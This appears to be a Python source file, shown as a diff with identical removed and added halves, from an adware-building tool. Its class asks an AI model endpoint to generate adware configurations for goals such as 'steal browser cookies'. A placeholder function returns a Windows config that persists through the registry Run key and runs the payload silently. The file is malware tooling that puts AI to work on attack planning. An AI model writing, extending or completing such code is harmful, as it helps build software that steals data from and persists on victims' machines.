1- import logging
2- from typing import Dict , Any
3- import json
4- import requests
5-
6- class AIIntegration :
7- def __init__ (self , logger : logging .Logger , ai_model_endpoint : str = None ):
8- """
9- Initializes the AIIntegration with a logger and an optional AI model endpoint.
10-
11- Args:
12- logger (logging.Logger): The logger instance to use.
13- ai_model_endpoint (str, optional): The endpoint of the AI model. Defaults to None.
14- """
15- self .logger = logger
16- self .ai_model_endpoint = ai_model_endpoint
17-
18- def generate_adware_config (self , goal : str , constraints : Dict [str , Any ] = None ) -> Dict [str , Any ]:
19- """
20- Generates an adware configuration using the AI model.
21-
22- Args:
23- goal (str): The high-level goal for the adware (e.g., "steal browser cookies").
24- constraints (Dict[str, Any], optional): Additional constraints for the AI model. Defaults to None.
25-
26- Returns:
27- Dict[str, Any]: The generated adware configuration.
28- """
29- if not self .ai_model_endpoint :
30- self .logger .error ("AI model endpoint is not configured." )
31- raise ValueError ("AI model endpoint is not configured." )
32-
33- try :
34- payload = {
35- "goal" : goal ,
36- "constraints" : constraints if constraints else {}
37- }
38- response = requests .post (self .ai_model_endpoint , json = payload )
39- response .raise_for_status ()
40- config = response .json ()
41- self .logger .info (f"AI generated adware config: { config } " )
42- return config
43- except requests .RequestException as e :
44- self .logger .error (f"Error communicating with AI model: { str (e )} " )
45- raise ValueError (f"Error communicating with AI model: { str (e )} " )
46- except json .JSONDecodeError as e :
47- self .logger .error (f"Error decoding AI model response: { str (e )} " )
48- raise ValueError (f"Error decoding AI model response: { str (e )} " )
49-
50- def _call_local_model (self , goal : str , constraints : Dict [str , Any ] = None ) -> Dict [str , Any ]:
51- """
52- Placeholder for calling a local AI model.
53-
54- Args:
55- goal (str): The high-level goal for the adware.
56- constraints (Dict[str, Any], optional): Additional constraints for the AI model. Defaults to None.
57-
58- Returns:
59- Dict[str, Any]: The generated adware configuration.
60- """
61- # This is a placeholder. Replace with actual logic to call a local AI model.
62- # For example, you might load a pre-trained model and use it to generate the config.
63- self .logger .warning ("Using placeholder for local AI model. Implement actual logic here." )
64- return {
65- "target_os" : "windows" ,
66- "persistence_method" : "registry" ,
67- "payload_id" : 1 ,
68- "deployment_method_id" : 1 ,
69- "config" : {
70- "registry_key" : "HKCU\\ Software\\ Microsoft\\ Windows\\ CurrentVersion\\ Run" ,
71- "payload_args" : ["--silent" ]
72- }
73- }
1+ import logging
2+ from typing import Dict , Any
3+ import json
4+ import requests
5+
6+ class AIIntegration :
7+ def __init__ (self , logger : logging .Logger , ai_model_endpoint : str = None ):
8+ """
9+ Initializes the AIIntegration with a logger and an optional AI model endpoint.
10+
11+ Args:
12+ logger (logging.Logger): The logger instance to use.
13+ ai_model_endpoint (str, optional): The endpoint of the AI model. Defaults to None.
14+ """
15+ self .logger = logger
16+ self .ai_model_endpoint = ai_model_endpoint
17+
18+ def generate_adware_config (self , goal : str , constraints : Dict [str , Any ] = None ) -> Dict [str , Any ]:
19+ """
20+ Generates an adware configuration using the AI model.
21+
22+ Args:
23+ goal (str): The high-level goal for the adware (e.g., "steal browser cookies").
24+ constraints (Dict[str, Any], optional): Additional constraints for the AI model. Defaults to None.
25+
26+ Returns:
27+ Dict[str, Any]: The generated adware configuration.
28+ """
29+ if not self .ai_model_endpoint :
30+ self .logger .error ("AI model endpoint is not configured." )
31+ raise ValueError ("AI model endpoint is not configured." )
32+
33+ try :
34+ payload = {
35+ "goal" : goal ,
36+ "constraints" : constraints if constraints else {}
37+ }
38+ response = requests .post (self .ai_model_endpoint , json = payload )
39+ response .raise_for_status ()
40+ config = response .json ()
41+ self .logger .info (f"AI generated adware config: { config } " )
42+ return config
43+ except requests .RequestException as e :
44+ self .logger .error (f"Error communicating with AI model: { str (e )} " )
45+ raise ValueError (f"Error communicating with AI model: { str (e )} " )
46+ except json .JSONDecodeError as e :
47+ self .logger .error (f"Error decoding AI model response: { str (e )} " )
48+ raise ValueError (f"Error decoding AI model response: { str (e )} " )
49+
50+ def _call_local_model (self , goal : str , constraints : Dict [str , Any ] = None ) -> Dict [str , Any ]:
51+ """
52+ Placeholder for calling a local AI model.
53+
54+ Args:
55+ goal (str): The high-level goal for the adware.
56+ constraints (Dict[str, Any], optional): Additional constraints for the AI model. Defaults to None.
57+
58+ Returns:
59+ Dict[str, Any]: The generated adware configuration.
60+ """
61+ # This is a placeholder. Replace with actual logic to call a local AI model.
62+ # For example, you might load a pre-trained model and use it to generate the config.
63+ self .logger .warning ("Using placeholder for local AI model. Implement actual logic here." )
64+ return {
65+ "target_os" : "windows" ,
66+ "persistence_method" : "registry" ,
67+ "payload_id" : 1 ,
68+ "deployment_method_id" : 1 ,
69+ "config" : {
70+ "registry_key" : "HKCU\\ Software\\ Microsoft\\ Windows\\ CurrentVersion\\ Run" ,
71+ "payload_args" : ["--silent" ]
72+ }
73+ }
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